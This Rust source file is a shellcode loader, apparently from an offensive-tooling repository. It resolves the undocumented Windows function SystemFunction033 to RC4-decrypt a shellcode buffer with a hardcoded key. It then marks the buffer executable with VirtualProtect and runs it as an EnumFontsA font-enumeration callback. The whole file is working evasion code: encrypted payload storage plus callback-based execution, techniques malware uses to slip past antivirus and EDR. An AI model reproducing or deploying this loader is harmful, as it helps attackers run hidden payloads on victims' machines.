/*
    RC4 Shellcode Decryption using SystemFunction032/033
    By @5mukx
*/

use std::{ffi::CString, ptr::{null, null_mut}};

use winapi::{shared::bcrypt::NTSTATUS, 
    um::{errhandlingapi::GetLastError, 
        libloaderapi::{GetProcAddress, LoadLibraryA}, 
        memoryapi::VirtualProtect, 
        wingdi::EnumFontsA, winuser::GetDC
    }
};

#[repr(C)]
struct UString{
    length: u32,
    maximum_length: u32,
    buffer: *mut u8 
}

type SystemFunction033 = unsafe extern "system" fn(
    memory_region: *mut UString,
    key_pointer: *mut UString,
) -> NTSTATUS;

pub fn decrypt(shellcode: &mut [u8]){
        unsafe{
            let advapi32_str = CString::new("advapi32.dll").expect("error");
            let advapi32 = LoadLibraryA(advapi32_str.as_ptr() as *const i8);

            if advapi32.is_null(){
                eprintln!("Failed to load advapi32.dll");
                return;
            } 

            println!("Load Address: {:?}", advapi32);

            let system_func_033: SystemFunction033 = {
                let systemfunc033 = CString::new("SystemFunction033").expect("Error");
                let func = GetProcAddress(advapi32, systemfunc033.as_ptr() as *const i8);
                // func valid

                if func.is_null(){
                    eprintln!("[-] Failed to get SystemFunction033 address.");
                    return;
                }
                std::mem::transmute(func)
            };

            println!("SystemFunction033 Address: {:?}", system_func_033);

            // key password for encrypt and decrypt
            let key_data = CString::new("Smukx_07 :)").expect("Error");
            let mut key = UString{
                length: key_data.as_bytes().len() as u32,
                maximum_length: key_data.as_bytes().len() as u32,
                buffer: key_data.as_ptr() as *mut u8, 
            }; 

            let mut data = UString{
                length: shellcode.len() as u32,
                maximum_length: shellcode.len() as u32,
                buffer: shellcode.as_mut_ptr(), // as mut defalut is u8
            };

            let status = system_func_033(&mut data, &mut key);

            if status != 0{
                println!("[-] Decryption failed with error: Status COde: 0x{:?}", status);
                return;
            }

            println!("[+] Successfully Decrypted Shellcode !");
            println!("[+] Injecting Shellcode into EnumFontsA for Testing");

            let mut old_protect = 0;
            let protect = VirtualProtect(
                shellcode.as_mut_ptr() as *mut _,
                shellcode.len(),
                0x40, // PAGE_EXECUTIVE_READWRITE [REFER MSDOS]
                &mut old_protect
            );

            if protect == 0{
                eprintln!("[-] Failed to change Memory Protection: {}", GetLastError());
                return;
            }

            println!("[+] Memory Protection Changed .. trying to execute shellcode");

            EnumFontsA(
                GetDC(null_mut()),
                null(),
                Some(std::mem::transmute(shellcode.as_ptr())),
                0,
            );
        }
        println!("[+] Shellcode Executed Successfully.");
}
